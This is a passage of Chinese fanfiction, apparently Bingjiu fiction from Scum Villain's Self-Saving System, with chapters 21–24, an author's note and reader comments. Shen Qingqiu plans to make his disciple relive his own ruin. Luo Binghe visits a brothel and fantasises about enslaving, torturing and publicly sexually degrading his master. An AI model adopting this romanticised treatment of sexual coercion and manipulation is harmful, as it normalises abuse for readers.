而在众人越来越‘不满’、越来越多的‘打斗’中,岳七这个永远宽厚的‘领头人’,成为了唯一为沈九说话的‘后盾’。 但岳七的博爱,永远不只是面对沈九。 岳七是沈九的唯一承认‘七哥’,沈九却只是岳七的一个‘小九’。 而即便是沈九提出异议,那个永远‘一视同仁’的岳七,也只会认真的听完他的话语,挂着一如既往的厚重笑容,说句‘小九占有欲一直很强呢。’ 如众星揽月被所有人喜爱的岳七;处处照顾所有人的岳七;将大家都当成需要兄长看护的稚嫩孩童、努力一碗水端平的岳七。 沈九又有什么资格,要求岳七如自己一般,将对方当成唯一呢? 所以当变故发生的时候,即便岳七是为了其他人上前,沈九还是动手了。而代价是——他因施展仙术,被那个大家子弟记掂。 后面的故事一点也不狗血,甚至也不激情。无非是岳七想方设法混进秋家,然后胡乱说了什么‘我会想办法救你出去’的话语,以平被他连累的傻弟弟之心。 只是沈九信了。 可是沈九却信了。 但是沈九,他信了。 他为什么不信呢?他的所作所为,本就是为了在岳七心里留下印象,本就是要告诉岳七‘沈九为了你,不会顾忌任何’。 他想要的,不就是岳七独一份的关怀,只将视线停留在自己身边吗? 可最后的结局。 却是永远等不到的人,和越发危险的处境。 沈九不会在等岳七了。 他也不会为了岳七付出什么了。 只是—— 更加有趣的事情发生了。 当沈九跟着一看就不是啥好人的散修四处杀人越货时,他看见了成为众人之首的、青年才俊岳清源。 而这个家伙,被他的恶人师尊,盯上了。 沈九不会再等岳七,更不会为了岳七再付出什么,更更更不可能为了对方舍弃自己的‘前途’——即便是被人追杀的散修。 但该死的手还是动了。 一如当年为岳七暴露仙术。 而岳清源,还是岳七那副温吞厚重的样子。一脸‘他乡遇故知’的高兴,邀请他……入苍穹山。 他为什么不去? 那是他该得的。 他为什么要拒绝? 那是他应得的。 可是半路出家、中途插入、身无雄厚背景的‘插班生’,生活是很艰难的。 而最重要的,是该死的岳七居然活的那么好。 如果沈九的人生不曾发生变故,岳七现在所能获得的一切,沈九未必做的不如他。 如果沈九当年不出手,甭管那个少年会不会死,岳七会不会暴露仙术,起码沈九能独善其身。 而沈九与岳七最大的分歧点,就是岳七成功拜入苍穹山,沈九被困在秋府。 所以说。是岳七毁了沈九的青云路。 虽然说这是一种典型的滑坡谬误。指不合理地使用一连串的因果关系,将“可能性”转化为“必然性”,以达到某种意欲之结论。 比如如果不是岳七将沈九坑到秋府,沈九就不会错过拜师的最佳时期、进而只能为自救而寻逃犯散修为师; 如果不是沈□□了一身下九流的技法和不正规招式,他就不会被人骂了那么多年的半路出家、野路子; 如果不是岳七那该死的责任心和几乎昭告天下的‘偏爱’,沈九就不至于被那么多人谈论为‘以色侍人’、‘不知如何登上的峰主位’…… 以至于,最后跌落尘埃,再也不会相信旁人、付出善意与关心,状似正常的与人接触和交流。 即便这样的推论过于简单粗暴,将大部分原因归述于本不该承担其这种‘指责’的岳七。 可沈九很难不恨。 如果沈九不去恨岳七,他就只能恨自己。只能接受这种萦绕于身的,一步错步步错,整个人生因某次冲动而毁掉、并且完全没有得到他预想中的美好回应的痛苦。 所以他必须‘恨’,只能恨。 如果沈九去怨恨岳七,他就可以略微转移自己心中的怨恨。而有了一个可以寄托恶意的目标,不必为自己的选择错误而感到痛苦。 所以年少沈九,是真心的想让岳七死。 凭什么你光芒万丈;而我却为你的一句承诺画地为牢、遭受被抛弃的苦难? 凭什么再次相见,你是高高在上的仙门才俊;我却是跟随罪犯的三教九流、为一点机缘挣破脑袋的散修? 凭什么你随口的一句‘小九、跟我回山’,就能抹去其他人需要按时选拔、崭露锋芒、被诸峰挑选等一系列流程,直接拜入苍穹内门? 又为什么,你那些超出规格与过度明显的‘安排’与‘保护’,却令根本不可能比拼得过正统弟子、唯有燃命对拼的沈九,陷入无人支援、进退维谷的境地? 岳七。岳清源。岳掌门。 你究竟是有心,还是无意? 没有死去的白月光,比什么敌人都可怕。尤其是,如果这个白月光还撒下独独对你的温情,看似温柔的替你照亮前路——当然,那条道路,看起来极其光辉亮丽、踏实平坦。 但是,沈九可以‘恨’岳七;沈清秋却没办法‘恨’岳清源。 年少沈九可以理直气壮的说出‘若不是为了你,劳资本可以凭自己成就青云路’。 但成为峰主的沈清秋,却没办法。 他实在是个道德感太强的人,没办法洗脑自己去怨恨岳清源,也没办法将自己所遭受的一切都归为‘岳七没有及时带自己出来’。 所以…… 成为沈清秋的沈九,连‘恨’的借口都没办法说服‘绝对清醒’的自己—— 最终的结果里,他,只能恨‘自己’。 恨他居然看不得岳七活的这样好, 恨他恶毒又不是绝对恶毒、放任一切又不是真正从容、想要将恨意归于别人却又无法真正怨恨, 恨他明明知道不能算岳七的错,却还是小肚鸡肠、性情恶劣到希望岳清源栽个永远也爬不起来的跟头。 〈冰九21〉洛冰河,若你成为‘沈九’会如何? 他果然很坏。当他看到相似之人时,没想着因淋过雨而给别人打伞,反而恶趣味的,想看另一个被淋成落汤鸡的人,那个叫‘洛冰河’的、与自己极其相似的弟子,处于自己的地步会如何操作。 ———— 沈清秋是个性子很冷淡的人,轻易不会与旁人产生联系,更不会在乎除岳清源外的其他人;这一点洛冰河早就知道。 只是沈清秋的研究需要洛冰河替他寻找资源,更需要‘借’洛冰河的‘庇护’在魔界安稳生活。所以洛冰河强行忽视掉沈清秋极具目的性的‘吩咐’,将自己‘洗脑’成忠贞不渝的‘弟子’。 只要我好好完成你的‘要求’,你就会面容平淡的将我递过去的物品收下,并且时不时愿意跟我一同吃饭(洛冰河负责布菜、沈清秋负责看一眼、碰都不碰),就足够了。 这样的洛冰河,其实地位和心态都放的很低,甚至对沈清秋的期待就是‘看我一眼、哪怕只是无意扫过也好’。洛冰河倾尽全力的付出与奔波,只是为了那个人,能平和的与他多待片刻。 何其卑微,何其小心,何其谨慎。 即便洛冰河情理上什么都没做错,现实里什么都尽力捧到对方面前——但双方在魔界那一场并不愉快的‘戏’,就注定沈清秋不会将洛冰河收进‘弟子范畴’。 好心办错事,就不该被惩罚吗? 以凌辱的方式去变相救助,受到的伤害与折难就会减轻吗? 将一切赔偿尽皆献上,将一颗红心剥出来展示真情,受害者就‘必须原谅’吗? 不。 受过的伤,不会因为‘澄清误会’而消失;也不会因为对方是‘无心之过’、‘好心办坏事’而免除;更不会因为多上几倍的赔偿而不再疼痛。 单单因为这一点,沈清秋就不会真正与洛冰河‘平和相处’。 ———— 当沈清秋在另一人眼中看到略显熟悉的亮光时,他的心脏突然跳快了一拍。 某些记忆,不去回忆,就会被淡忘。 可有些东西,即便是淡化得什么都不剩了,曾经剧烈疼痛过的心脏、紧绷又暴躁的神经,会生理性的替你回应。 就像是学过游泳的人,即便是半辈子都不曾下水。可若是真到紧急情况,肌肉记忆远比脑海中以为的要深刻得多。 ‘洛冰河。’ 沈清秋仔细的将对方的名字在舌尖绕了一圈。只觉得怎么读、怎么喊,都是蹩口且焯烫到刺痛的。 少年郎的血最是灼热,他们爱恨分明、激情澎湃。一念之下敢上天揽月、九幽寻魂,爱之欲其生恶之欲其死,正是少年的写照。 如果他再兼之天资卓越、通透早慧…… 沈清秋视线锁在桌前的书籍,可这一页,却已停留了半个时辰。 原来活的久了,真的什么都会遇见。他这样粗鲁狂躁到将对岳七的不满转化为对柳清歌的愤恨之人,居然会在未来有一天成为别人的‘心向往之’。 可是—— 长大后的沈九,成年的沈清秋。 并不是拥有热血,就能被打动的人呢。 其实有时候沈清秋也会好奇,如果有人真的对他表达‘喜爱’,对方喜欢的,究竟是他这幅近乎完美的皮囊,还是孤僻恶毒的内在? 应该是这张脸,这付身姿吧。毕竟——像他这样完全不可能与人为善,极其厌恶与人接触之人,怎么可能会喜欢他这样的灵魂呢。 可他变成这样,是他想要的吗?如果能够选择,年少沈九是想成为远离人海、被众人蛐蛐的‘沈清秋’,还是想成为温和厚重、执掌宗门的‘岳清源’? 如果遇见那一切的不是沈九而是岳七,他会像沈九一样变得如此尖酸刻薄、古怪恶劣吗? 岳七会如何,沈清秋是看不到了。 不过——现在却有另一个机会。另一个,将无辜之人卷进来,用他人的命途,去验证他猜想的机会。 他果然很坏。 当他看到相似之景时,没想着因淋过雨而给别人打伞;反而恶趣味的,想看另一个被淋成落汤鸡的,那个叫‘洛冰河’的、与自己极其相似的弟子,处于自己的地步会如何操作。 如果洛冰河经历‘拜入错误师门、遇见恶劣师尊、绝佳资质被耽误损毁、路人嘲讽却压不下流言、燃命对打被喊野路子、愤恨之字却成为姓名’还能‘温情不改、性情平和’—— 沈清秋倒真要叹一句‘与旁人相比,我是真的坏’。 可是。洛冰河毕竟无辜啊。 他这样‘插手’别人的命运,改动他人的生命线,将本可以顺遂生活、不必像他一样悲惨的‘普通人’,因他的‘恶念’而卷入本可以远离的漩涡,是不是太不该了些? 沈清秋收起书籍,捡起洛冰河新送来的衣物。看着腰身明显被收紧、侧边增加花纹的外衫,心中升起说不清道不明的情绪。 他的脑海里总会莫名其妙的跳出一些话语,虽然并不是他当时所想,但却会是他能对明帆、宁嘤嘤说出来的语气。 如果说,他的‘潜意识’已经接受了对方的靠近,即便他的‘主意识’拼命警惕万物,也很难说会不会在某些场合,下意识将后背交给对方。 这是一个极为危险的信号。 是需要被扼杀在摇篮的风险。 沈清秋将那些花里胡哨的衣物和配饰丢到地上,起身向实验室走去。 就当他恶毒吧。 如果洛冰河的眼里没有似曾相识的星光;如果洛冰河不是非要与他捆绑;如果洛冰河一开始就将他丢入地牢狠狠压制、磨去心智与傲骨。 沈清秋确实并不会选择将对方拉入这场无厘头的漩涡。 毕竟—— 如果洛冰河对他施展以暴力,沈清秋必然会应对以拼死对抗的傲骨; 如果洛冰河一开始就打压他的心智,沈清秋即便反抗无效,拼着灵魂破碎,也不会成为其他人的傀儡; 如果洛冰河觉得他的‘滋味’不错,诱骗他成为‘床奴’,沈清秋即便身心无法抵抗,精神亦会在虚与委蛇之间,默默寻找空隙。 只是—— 洛冰河居然真的,谨遵弟子礼节。除了一开始的犯上,后面完完全全的体贴听话,任劳任怨。 并且在沈清秋几次故意作死、展露濒死脆弱之时,也不曾‘背刺’‘拿捏’于他。 世间当真有这样性情赤诚的人? 而且不仅存在,还让从来没幸运过的沈清秋遇上了? 就像是平日里连‘再来一瓶’都碰不到的人,居然在某个央视提名上发现了自己的夸赞与礼物—— 想必所有人的第一想法不会是‘我真幸运’,而是‘居然有人和我同名’或者‘骗子手段又升级了’。 沈清秋亦是如此。 当他跌入谷底,已经打算好以命相搏、燃尽灵魂与血脉施展禁术搞一波大的,当然,事实上他确实杀够了本。 只是后面的再次被擒与折辱,也是预料之中。 甚至说,别管当时压他的人是谁,是一个还是多个,是小黑屋还是大庭广众,是无人问津还是众所周知——都没有区别。 无非是敌人想要摧毁他心智、令他精神崩溃,展露害怕与狼狈,进而打击修真界气焰,彰显魔族威望的——方式罢了。 所以当时沈清秋的所有精力,只用来压制自己。 不要喊出声,不要颤抖,不要呻(吟),不要流泪,不要……将脸上的脆弱与痛苦,展现在其他人面前。 至于其他的观感? 不要被任何人发现他的软弱,是最重要的事情。 只是后续的发展过于出乎沈清秋意料。他被人‘带回家’,被人小心照顾,脱离死亡不说,还得到不少可供研究的资源。 即便是想要怀柔与培养信任,对方给的也太多了些。沈清秋只需简单开口,对方就会想方设法给他将一切搞到手——包括一看就很机密的魔族辛密。 而对方的要求,似乎只是想要得到他的肯定与称赞? 这样的‘简单美好’,实在是—— 太令人怀疑了。 随着对方的精致养护,沈清秋精神状态良好,修为也在一点点的研究中慢慢提升。生活平静的甚至能偶尔分析一下‘洛冰河’的性子与目的。 可是无论怎么分析,洛冰河的一举一动,都不符合修真界的一贯作风。 怎么会有人付出一切,只为了得到一个‘肯定’?他得缺爱到什么地步,才需要别人的‘眼神赞许’和‘言语赞赏’来获得满足? 一定有什么是不对的。只是那些不对劲的根源,沈清秋还没分析出来。 对于自己分析不透却又觉得莫名不对劲的人与物,沈清秋一律会归类为“此事必有蹊跷”。 而洛冰河对他的‘无条件付出’,又助长了沈清秋想要将对方当成试验品的念头。 总而言之,就是生活顺遂之时,人总是会想让自己更舒服一些。而日子一旦平缓温和,感受到‘对方不会在乎自己的试探,亦会对试验作出回馈’之时—— 被偏爱的那个,就会开始蠢蠢欲动的作死。 就像是高位者无聊之时,偶尔也想化身普通富家子去微服私访、行侠仗义一样;沈清秋现在在魔界太无聊了,研究卡在了某个瓶颈,故而有些恶趣味的想玩火。 沈清秋其实并不在乎别的东西,只是某些时候,会恶劣的想看其他人位居自己地位会如何。再加上洛冰河实在是太像少年沈九了…… 所以—— 真不好意思呢。 洛冰河,你还是成为第二个‘沈九’,让我做个小小的试验吧。 当你陷入我曾经的处境之时,是会奋起反抗,还是随波逐流? 当你被刻意忽略打压,磨损资质、耽误修为,同门欺凌、恶意挤压之时,是否会将怨恨投掷于其他人身上? 最后‘得知’自己的人生本可以顺遂,却因为对不良师尊的‘信任’而陷入悲惨的境遇…… 你是会选择成为第二个无力改变故而平淡逃避的‘沈清秋’,还是选择成为将对方踩到脚下的‘胜利者’呢? 沈清秋承认,他真正想要让对方体验这一切的,另有其人。只是很不巧,他还没来得及将另一人拉下马,就先摔了个底朝天。 现在既有人意图‘重演’曾经的情节,沈清秋自然不会放过如此绝佳的机遇。即便最后的结局是亲手养出一个想弄死自己的‘敌人’,沈清秋…… 也会毫不犹豫的,大步向前。 修真界以武为尊,他既然已打算拉对方入局,就愿接受任何后果。无论对方想要他以命赔偿,还是将他抽魂燃魄各种折磨,他都无所谓。 男子汉大丈夫、一口唾沫一颗钉,只要作下决定,就绝不会后悔。 只是。 世间当真会有洁净不染纤尘的白雪吗? 还是说—— 大雪之所以能掩盖万物,其本质是它最为……善于伪装? —— 这算一起吃饭吗??? 怎么不算呢(恋爱脑就算是呼吸同一片空气,吹同一阵风,也觉得沈相拥~) 发现了一个好文 啊……听起来真令人开心[ 冰九14>冰九13>冰九12>冰九11> 48.和平与温馨都是短暂的,算计与利用,才是真相 〈冰九22〉身为正直少年郎,他不该…… 那件火红色、半透明的‘嫁衣’,就那么挂在烛火点照的最明亮之处。明明是那么‘端庄与繁复’,却在这种地方的熏陶下,充满说不清道不明的暧昧意味。 ———— 所有人都知道洛冰河得了仙尊当奴,也知道三个月来洛圣子宫喊过数次御医。每次都是大张旗鼓的将所有大夫集齐,费劲九牛二虎之力、凭借魔尊赐下的天魔血才勉强救活。 但—— 洛圣子却始终不曾透露两人相处的细节,更不愿将床奴带出来让其他人赏玩,更别说互相交换玩具…… 故而,大家对仙尊的好奇;对玩〈弄〉仙尊的破坏欲;对想要将高岭之花拉下神坛、拖入泥泞的罪恶〈欲〉,都令其他人‘盯紧’了洛冰河。 洛圣子,你既得尊上赏赐,将美人牢牢藏起来、丝毫不与其他人分享的样子,可是有点不合群啊。 “圣子,不知仙尊最近可好啊?” “就是,听说一周前又是兴师动众的喊了赵御医过去,赵御医一听‘洛圣子宫’的,直接面见尊上求血去了。” “圣子,仙尊的滋味与其他魔有何区别?我这边有几只极品,可缘试一下?” “圣子这些天来也该厌倦了吧,不知可想玩点新花样?xx巷开的‘暧情倌’里可是新进了不少好东西,圣子可愿随哥几个去看看?” “……” 洛冰河看着叽叽喳喳将自己围住的众人,额头忍不住的皱了一下。 滋味?他们的接触只有那一次,就那次还是拼着两人一起死的心态,能有什么偎依想法?不过对方昏迷之时……那个腰身确实纤细,皮肤也细腻如玉质,越摸越…… 咳咳。 洛冰河看着众人‘不怀好意’的打量目光,将右手蜷成拳头在唇边咳嗽了一声:“仙尊的滋味,自然是极好的。至于体验嘛……不足为外人道也~” 十几岁的少年郎,他会对其他人说‘他也不知道’吗?肯定不行的啊! 他不仅与对方同床共枕(虽然只有对方昏迷那几天),还经常与对方见面(虽然是为了送资源),沈清秋还陪他吃饭(指沈清秋走后洛冰河一脸幸福的将残羹剩饭解决)—— 这谁能比的起! 四舍五入,他与师尊,结为伴侣了! 洛冰河一脸幸福与回味的‘幻’想着,用胳膊将众人推开,他要早点回去与师尊面对面,绝对不能被这群家伙耽误了行程! 只是想象与现实之间总是存在些许差别,当洛冰河在其他人的‘花言巧语’‘极力推荐’之下——踏入了暧情倌,见到了……某些很不正经的东西。 一身极为正经的青色衣衫,领口却松松垮垮系着飘带。上衫下摆较短,堪堪只到腰部偏上,可下裳的腰线却过低,隐约只在尾骨略上。若是正经跪坐还好,若是稍微动身……纤腰与腿根的勾勒线条,都将一览无余。 看起来就觉得布料稀薄的纯白内衬,腰线与腿侧线并未缝合,只用嫩黄色的丝带囫囵绕了几道,还贴心的打成蝴蝶结。外衫为玄黑色,裹紧之后看起来正统严肃,腰肢和手腕脚踝却收得极紧,旁白还佩戴着鲜红的丝巾充当绑带。 除却这些成套的服饰,一旁昏暗的右侧方,还零零碎碎的摆放着不正经的各种玉质饰品、毛绒绑带、小皮鞭、耳饰手环之类,甚至在某个‘套装’里面,洛冰河还看见了类似狐狸尾巴的存在…… “……” 太荒谬了,这是一个正直少年该来的地方吗? 洛冰河眼神有些发虚,脚不由自主的想拔腿就走,胡乱扫着的视线有些凌乱。 绝对不能让师尊知道他来这种地方! 洛冰河脸上浮起一层红晕,不知是羞涩,还是此地温度太高。总而言之,此地不详,不能再来。 只是随着耳边接连响起的“那个玉果然好用,我的奴每天含着,其中滋味,啧啧”“那个尾巴更有趣,兽娘可是终极幻想,尤其是他娇羞的喊你‘主人’”“衣服倒也挺好,半隐半露、欲语还休,才是绝色!” 以及……旁人对洛冰河发出的或羡慕、或酸溜溜的问询:“将仙尊压入怀中,听曾经的师尊喊你‘主人’,看对方双眼通红的求你,品尝绝世巅峰战力的泪水……想必很爽吧?” “……” 虽然,但是,可是…… 怎么办,该死的心有点痒! 洛冰河艰难的维持面瘫脸,视线在屋内扫射。突然,他看见一套与此地风格截然不同的、几乎不像是穿在‘玩物’‘床奴’身上,更像是伴侣、情人的衣物。 那件火红色、半透明的‘嫁衣’,就那么挂在烛火点照的最明亮之处。明明是那么‘端庄与繁复’,却在这种地方的熏陶下,充满说不清道不明的暧昧意味。 凤冠霞帔、十里红妆。 这样正的大红,这样艳丽的色彩,这样繁复的层层叠叠,这样齐全的金银配饰。 怎么看,都更像是——给奴一个,正统身份的架势。 “洛圣子喜欢这个?” 店家是位身材玲珑有致的姑娘,她随着洛冰河的视线望过去,巧笑嫣兮: “有很多主人,会在某些时间特别钟爱一个奴,故而想给对方最好的。那么,什么样的‘宠爱’,才能打动床奴?” “其身为奴,美名为宠。说到底,不过是讨好主人的会动物件罢了,连‘魔(人)’都算不上的玩意。” “奴隶这种下作东西,最被人抵触的,便是以色侍人、出身卑微。只要主人家将这套衣服送过去,不管怎样难哄的奴,都会乖乖含着你赠与的玉器,成为你的掌中之物。” “他不是……” 洛冰河原本在设想他与师尊未来的同修大典,却在听到对方‘用嫁衣哄奴开心’时,下意识反驳。 他师尊即便真沦为床宠,也绝不可能被几件‘嫁衣’所打动。更不可能,因为对方的‘温柔以待’、‘给予奴仆的尊重’而放下身上的尖刺。 如果他真能心甘情愿的‘含’着主人家的赏赐,套上这层明面端庄、实则妖媚的‘嫁衣’,他就不是沈清秋,更不是修真界战力巅峰、修真界第一大派的清静峰之主。 即便是失去修真界的记忆,日夜给他灌输‘他是宠奴’的思想,他师尊也会以最快的速度发现不同,然后谨慎的聚集力量,以宁死不屈的姿态去燃命拼杀。 这是刻在他师尊骨子里的反叛,亦是绝不可能屈居人下的傲气,这些情绪会深藏于那双黑曜石般的眼眸里,只能看到入深海般的宁静。只有在最接近的距离,才能感受到那股藏匿在漆黑中的灼热灵魂。 只是…… 当洛冰河晕晕乎乎的走到自己寝宫,被阵法拦截之时,才半明半寐的清醒过来。而待他摸一下储物袋,立刻像触电般将手收回。 完了,他居然带着一储物袋的不正经物品,想要硬闯沈清秋的寝宫…… 幸亏师尊布下了阵法,要不然…… 不对,太难了吧,都三个月了,他师尊怎么还天天布阵法拦他啊(哭嘤嘤) 哈哈,好嘴硬的小冰╮(^▽^)╭ 主打一个‘自我攻略’ 〈冰九23〉可别辜负了‘洛冰河’的期待啊 如果魔族式微,沈清秋就是洛冰河的退路;可如果修真界败了,沈清秋就是洛冰河的私人俘虏。 将身为高岭之花的清冷仙尊骗身骗心,在最终战争落幕后,将其碾压成尘—— ———— 洛冰河在思考要如何将不该存在的东西毁尸灭迹。有些东西,虽然被他买下了,但实际上不该存在。所以这些玩意,是一定要灰都不剩的。 只是洛冰河目前在用的储物袋,是沈清秋很早之前,统一发放给所有内门弟子的。虽然容量不大、制式也极为寻常,洛冰河却还是小心翼翼的保管着,更是在沈清秋入住他宫殿后,天天挂在腰间。 虽然——沈清秋肯定不会注意这些小细节。但洛冰河还是固执的用着曾经的弟子用品,期待他心心念念的师尊,能有一日发现他的‘小心机’。 但现在—— 他专门保存的储物袋中,装满了不该存在的东西!并且这些东西,在旁人的眼中,就是用在他师尊身上的! 更有甚者。等过个几日,那些浪荡子们说不定还想听他‘分享’使用经验,看仙尊与普通魔族,用上这些零碎后,会不会格外与众不同…… 虽然…嗯…确实…… 不行!洛冰河疯狂摇头,甚至还用食指蜷起不停揉自己太阳穴,试图将这种大不敬的想法丢出脑外。 他不能将他师尊视为玩物,如果他真的那么想了,后续一定会那么做的,而以沈清秋的性子,一定会与他对抗到底。 就算是万幸沈清秋没死,失忆或臣服于他,洛冰河在得到更进一步的‘机会’后,还能像现在这样,小心翼翼的维护这对方的尊严,将对方依旧当成高高仙尊吗? 不会。 洛冰河对自己还是了解的。 如果说权势地位是他只要努力就能攀爬的高峰,沈清秋就是他可望而不可即、飞至九天也想要揽下的月亮。 因为月亮高高挂起,下方之人无论如何努力都无法靠近。才会奢望用手去水中捞月,才会将一腔热血奉上、渴望得到对方的垂怜。 而如果。 这轮明月被人拉下神坛。 若不能谨慎恭敬的藏入怀中,以九天之水为其濯洗、以鲜花露珠为其续命…… 这轮玄玉盘。 只会因得到而变得‘不再珍贵’、拥有而变得‘平淡无常’、习惯了孤寂淡漠而变得‘不懂为人处事’。 其实月亮还是月亮,只是被拥在怀里的月亮,若是不爱惜,很容易成为无趣的石头。 洛冰河对自己的性子有分寸。现如今他展现出‘温柔弟子’的样子,更多的是自我洗脑。他本身并不是体贴之人,更不会因为谁而忙前忙后的奔波。 只是他想要打动某个心防紧锁、吃软不吃硬的家伙,所以才‘伪装’出一副荣慕乖巧的样子。 一旦得到…… 就是沈清秋真正悲惨的开始。 如果洛冰河一直对他很不好,沈清秋并不会如何。毕竟仙魔不两立,沈清秋即便是死在魔界,他也只会觉得理所应当。 可若是洛冰河一开始实在是温柔体贴、听话乖巧,却在得到的那一刻,恢复本性—— ‘我会温柔的给你提供最大的安全感和守护,等你主动敞开心扉、褪去衣物之时。‘我’会将你送上极乐之巅——接着,将你踩入最深层的地狱。’ 想想吧。 沈清秋被人宠着打开心防,却在袒露脆弱的那一刻被打入地牢、刑罚加身、强压为奴。 那样的表情,一定充满了震惊和脆弱,就像是精心设计的玉件被高高捧起后猛的砸向地面,在清脆的响声之后化为尖锐与残缺,充满了暴虐又破碎的美感。 一丝微微勾起的弧线浮现于洛冰河的嘴角,此时的他眼神清明而冰冷,一点也不像之前永远浮着一层雾气的温柔如水。 他的脸庞在似血残阳下显得有些凌厉,不笑的时候更是显得冷硬。 将曾经的师尊养成床奴,令高高在上的仙尊眼里溢出泪珠,听到对方请求降低力道却反而加大,恶趣味的让对方急促喘息、呼出破碎又滚烫的气息。 接着将力竭的仙尊丢入地牢大刑伺候,或者找几个不干不净的东西轮番‘照料’,将对方哭着、满足着、愤恨又无力的喘息影像传遍魔界,令无数人一同欣赏。 只要稍微想象一下那个场景,就觉得有趣极了。 没错,他与被‘洗脑’的洛冰河一样执着的想要‘拥有’沈清秋。但他们其中的本质是完全不同的。 那个被下了数个暗示的家伙,是真心觉得沈清秋是他人生的心之所念、梦之所想,为了完成沈清秋的吩咐、为了得到沈清秋的回应,赴汤蹈火、毁损魔界也在所不惜。 即便是真的将人拥在怀里,也愿意花费巨大的功夫和精力,继续维持卑微的弟子姿态,小心翼翼的哄对方开心,祈祷沈清秋能‘多看他几眼’,‘赏赐个笑容’。 但洛冰河不同。他一开始想‘施恩于对方’,后面想‘获取对方的信任’,接着想‘将对方收为自己的’。 就像是远方的高处有一颗看起来格外饱满的果子,洛冰河为了得到他付出了不少的努力,又是爬树又是借梯子的,最终成功将对方收入怀中。 可一旦这颗果子被摘下,就失去了其存在的意义。 至于这颗果子最后是被随时丢弃,还是被塞到某个照不见光的宝库里腐烂发臭,亦或是丢到保鲜液里最大可能维持物品的光鲜亮丽…… 都无所谓。 洛冰河只是享受摘取的过程罢了。 但是沈清秋是不同的。他不仅不是死物,还是修真界的巅峰招牌之一。 如果魔族式微,沈清秋就是洛冰河的退路;可如果修真界败了,沈清秋就是洛冰河的私人俘虏。 将身为高岭之花的清冷仙尊骗身骗心,在最终战争落幕后,将其碾压成尘—— 是件多么,有成绩感的事情啊。 洛冰河仰头看眼即将落山的夕阳,嘴角的弧度已恢复平和。他静静的看着最后一抹阳光消逝,整个世界在几息之间转换为黑暗。 我的好师尊,你可千万……不要‘辜负’洛冰河的‘期待’啊。 —— 艰难。 还没等洛冰河怎么思考,屋内突然变得漆黑一片。 洛冰河看着不知道什么时候黑下来的天色,着急忙慌的将蜡烛点燃。盯着剧烈燃烧的烛火,洛冰河有一种想将一切都投入火海的冲动。 可若是让洛冰河将那些东西取出来销毁,洛冰河又有些不敢伸手。 别说什么‘你睁开眼睛看看我’,洛冰河就连想一下这些都开始面红耳赤、口舌发干,更别说让他亲手拿出来,感受着那些东西的质感,然后用眼睛瞟几眼,闭着眼将这些玩意丢到火海了! 可若是直接将整个储物袋销毁。 洛冰河又舍不得。 这可是沈清秋亲自分配的物品,即便是那杯拜师茶没喝,该有的弟子待遇,他还是拥有的。 别说这个储物袋,便是当年的弟子服与储存灵药的玉瓶,沈清秋亲自批改为‘不堪入目’的纸张,洛冰河都保存的完好无损! 让他狠下心毁掉,与让洛冰河割肉放血有什么区别?! emmmm……… 洛冰河最后咬咬牙,将装满了‘罪证’的储物袋放到柜底最深处,又叠加上层层阵法与禁制,坚决不能被任何人知晓此物! ———— 沈清秋是个很敏感的人。这个不仅表现在他缺乏安全感,处处警惕,更表现在,他能感知周遭环境和人群的恶意。 就像现在,即便洛冰河看起来与平常无异,可他就是从对方身上嗅到了不寻常的味道。 虽然说沈清秋的计划中有‘维系与对方的平淡关系’这一项,但这个占比并不多,沈清秋没必要因为这个目的而让自己难受。 对方身上的怪异气息使他下意识用眼角打量了一番周围,沈清秋看着洛冰河一道菜、一道菜的试完毒,在对方以为他要动筷子的时刻,转身就走。 别问他这样子究竟礼貌不礼貌,如果对方想给他下毒,他还要继续陪对方演下去,他才是傻子。 再说,他是师尊,对方是弟子,除非对方立刻撕裂伪装将他打入地牢,否则沈清秋料定对方不会翻脸。 说他习惯了高高在上也好,说他‘恃宠而骄’也罢,说他完全不在乎对方和自己的性命也行。 当他感受到不对劲的时候,转身离开、及时止损,是绝对不会错误的。 至于对方的心情与想法? 跟他有什么关系?真当他是什么关爱弟子、友善同门的好人? ——碎碎念—— 洛冰河采用的是冰哥模板,会温柔只是发现了沈清秋吃软不吃硬,温情对待效果会更好。所以干脆‘催眠’自己,在对方面前伪装成渴望师长关注的弟子。 沈清秋用的是狂傲九早期(未走到地牢剧情)模板,其设定和〈再世为渣〉里面‘九发现年幼冰哥与自己很是相像,故而有点移情于景’的路子是差不多的。 所以说。这两人,一个面色平淡,心里想着让对方成为第二个被辜负的自己;一个展露温柔,却会在‘得到之后’恢复本性,想着将对方踩入泥土。 非常符合‘双恶人’‘双算计’的人设。只要想想就觉得有趣极了。 好香的感觉 必须的,冰九就是要互杀、两者皆是恶人才好看 好现实⊙︿⊙ 哇哈哈哈哈,是吧(我果然是个普通且正常的人) 你个王八蛋! 好多冰九都是这个开展,看得我实在是,有点心痛。所以其实我有段时间不看冰九了……(虽然有点离谱,磕冰九但看不下去其他虐九的冰九) 〈冰九24〉梦想总是要有的 一旦沈清秋选择穿某件洛冰河精心挑选的服饰,当初购买这件衣物时存在的小小心机,就会以某种隐秘的方式被实现。 ———— 沈清秋的衣食住行由洛冰河包揽。 这句话的意思是,洛冰河会为沈清秋准备辟谷丹需要的材料,提供沈清秋日常所穿的衣物,寻找沈清秋研究所用的一切物资,会挑选和采购沈清秋所能用到的一切。 换算一下,就是沈清秋‘由’洛冰河无条件养着,随洛冰河的心意为他提供‘资源’。 甚至说,精细到沈清秋穿什么衣服、使用什么样的笔墨、用什么去记录数据,这些所有‘东西’,都是洛冰河亲自挑选,自定义DIY的。 而一旦某些类型的东西被沈清秋‘频繁’使用,洛冰河就会准备更多的类似物品、进而深度了解沈清秋的‘选择’。 比如两件一模一样款式的衣物,沈清秋是会选择青色,还是会选择白的;是会随着目的而改变,还是会执着于先用后拿? 比如同样的菜肴,今天偏甜一些,沈清秋多吃了一口,可明日更甜一些,沈清秋只用一筷子就结束,是单纯的心情不好还是口味不合? 比如明明是两个一模一样的试验记录,在某地却有着不同的符号标记,是试验出现了差错,还是那些不同的标记代表着不想被其他人知晓的信息? 这些东西,本该唯有‘亲近’之人才能知晓;却在洛冰河与沈清秋相处的日子里,被洛冰河一点点探究和摸清规律。 这是件很恐怖、很暴露弱点的事情。 桌子上都是爱吃的菜,那么做饭之人一定很了解你的‘口味’和‘心情’; 衣柜里全是惯常穿、偶尔有些细节改变却绝对合身的样式,那么为你量体裁衣的人,肯定清楚知晓你身体的每一处宽瘦; 凌乱放置的笔记被分门别类的收集整齐,甚至能按照试验进度摆放顺序。那么整理之人,一定能看懂你刻意勾画的小细节、甚至能与你一样看懂你不想被人发觉的东西。 一旦这些东西被人所知、被人所控,那么根据‘弱点’因地制宜的设立计划威胁与你,是件非常容易的事情。 